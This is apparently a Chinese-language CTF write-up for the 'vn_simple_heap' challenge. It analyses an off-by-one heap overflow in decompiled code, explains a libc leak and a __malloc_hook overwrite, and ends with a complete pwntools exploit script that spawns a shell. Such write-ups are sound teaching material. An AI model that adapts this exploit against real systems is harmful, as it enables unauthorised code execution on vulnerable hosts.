vn_simple_heap writeup (off by one)

0x10 漏洞原因分析

查看保护,发现保护全开

查看Add函数

signed int sub_AFF() { signed int result; // eax int v1; // [rsp+8h] [rbp-8h] signed int v2; // [rsp+Ch] [rbp-4h] v1 = sub_AB2(); if ( v1 == -1 ) return puts("Full"); printf("size?"); result = sub_9EA(); v2 = result; if ( result > 0 && result <= 0x6F ) // 0 < size <= 0x6f { content[v1] = malloc(result); if ( !content[v1] ) { puts("Something Wrong!"); exit(-1); } size[v1] = v2; printf("content:"); read(0, content[v1], size[v1]); result = puts("Done!"); } return result; }

本身的Add 函数是没有任何问题的

继续跟进edit函数

int sub_CBB() { signed int v1; // [rsp+Ch] [rbp-4h] printf("idx?"); v1 = sub_9EA(); if ( v1 < 0 || v1 > 9 || !content[v1] ) exit(0); printf("content:"); sub_C39(content[v1], size[v1]); // any content lenth can be wirte return puts("Done!"); }

跟进edit函数后发现其中调用了一个sub_C39()这个函数

继续跟进

unsigned __int64 __fastcall sub_C39(__int64 a1, int a2) { unsigned __int64 result; // rax unsigned int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; ; ++i ) { result = i; if ( i > a2 ) break; if ( !read(0, (i + a1), 1uLL) ) exit(0); if ( *(i + a1) == 10 ) //将 '\n' 这个字符替换成'\x00' { result = i + a1; *result = 0; return result; } } return result; }

我们仔细分析流程可以发现,如果当a2=2时,也就是i=3是才会跳出循环

也就是我们总共循环了3次,读入了3个字符,而我们设置的size为2,多读入了一个字符造成堆溢出

Free 函数

int delete() { signed int v1; // [rsp+Ch] [rbp-4h] printf("idx?"); v1 = sub_9EA(); if ( v1 < 0 || v1 > 9 || !content[v1] ) exit(0); free(content[v1]); //未置指针 content[v1] = 0LL; size[v1] = 0; return puts("Done!"); }

可通过Show函数泄漏地址出来

0x20 漏洞利用

由于可以多读入一个字符,加上我们知道的chunk结构,我们可以使用这个字符更改到chunk的size位,来构造申请到更大的chunk(0xff)之内,但由于文件保护全开,我们的思路就固定了打 __free_hook or __malloc__hook

  • 申请到unsortbins, 由于delete函数的缺陷,我们可以把 libc_base 泄漏出来
  • free 时如果堆块的 pre_inuse 位为0的话,那么堆块就会触发前向合并(向物理高地址)也就是向上一个堆块合并
  • realloc 调节栈帧

攻击 malloc_hook 利用

  • 申请四个堆块,并通过 off by one 修改第二个堆块的 size (fake_size = size1 + size2 > 0x80)
  • 删除堆块1使其被释放进入 unsortbin
  • 将堆块1申请回来,此时由于unsortbin里面有一个chunk 因此会从unsortbin里分割出一个0x70大小的chunk出来
  • 由于分走了一个0x70的块,下一个块即chunk2的fd 和bk 就会存放main_arena 结构体指针,而我们没有释放chunk2,所以全局变量中还存有chunk2的堆指针,我们就可以通过show函数来进行地址泄漏
  • 得到泄漏的地址后,我们在申请一个块来把unsortbin申请完,此时我们申请的这个块与chunk2是指向同一块堆内存的,此时如果我们再次释放chunk2,我们就可以得到一个循环链表即 chunk2的 fd->bk->fd
  • 此时如果我们修改chunk2的fd指针为 malloc_hook 以上的一个地址(要保证有一个0x7f的一个size)那么,我们第一次申请0x70大小的堆块时我们就会得到bk所指向的地址,再一次申请0x70大小的块时,我们就会得到fd即 malloc_hook 上方的一个地址
#!/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="vn_pwn_simpleHeap" context.update(arch = 'amd64', os = 'linux', timeout = 1) elf=ELF(proc) #libc = ELF('./libc-2-23.so') libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") context.log_level="debug" def add(size,content,): sh.sendlineafter("choice:","1") sh.sendlineafter("size?",str(size)) sh.sendlineafter("content:",content) def edit(index,content): sh.sendlineafter("choice:","2") sh.sendlineafter("idx?",str(index)) sh.sendlineafter("content:",content) def show(index): sh.sendlineafter("choice:","3") sh.sendlineafter("idx?",str(index)) def delete(index): sh.sendlineafter("choice:","4") sh.sendlineafter("idx?",str(index)) def pwn(ip,port,debug): global sh if debug==1: sh=process(proc) else: sh=remote(ip,port) #payload= add(0x18,"f0und")#0 add(0x68,"aaaa")#1 add(0x68,'aaaa')#2 add(0x18,'aaaa')#3 #fake_size= size1 + size2 (contine size of head) edit(0,"a"*0x18+"\xe1") delete(1) add(0x68,"aaa")#get chunk1 show(2) libc_base = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))-0x3c4b78 log.info("libc_base:"+hex(libc_base)) malloc_hook=libc_base + libc.symbols['__malloc_hook'] free_hook = libc_base + libc.symbols['__free_hook'] one = libc_base + 0x4527a realloc = libc_base + libc.symbols['__libc_realloc'] log.info("malloc_hook: " +hex(malloc_hook)) log.info("realloc_hook: "+hex(realloc)) add(0x68,'aaaaa')#2 delete(2) edit(4,p64(malloc_hook-0x23)) add(0x60,"") add(0x68,'a' * (0x13-8) + p64(one)+p64(realloc+13)) #add(0x68,"11") sh.sendlineafter("choice: ","1") sh.sendlineafter("size?",'28') #gdb.attach(sh) sh.interactive() if __name__ == "__main__": pwn(0,0,1)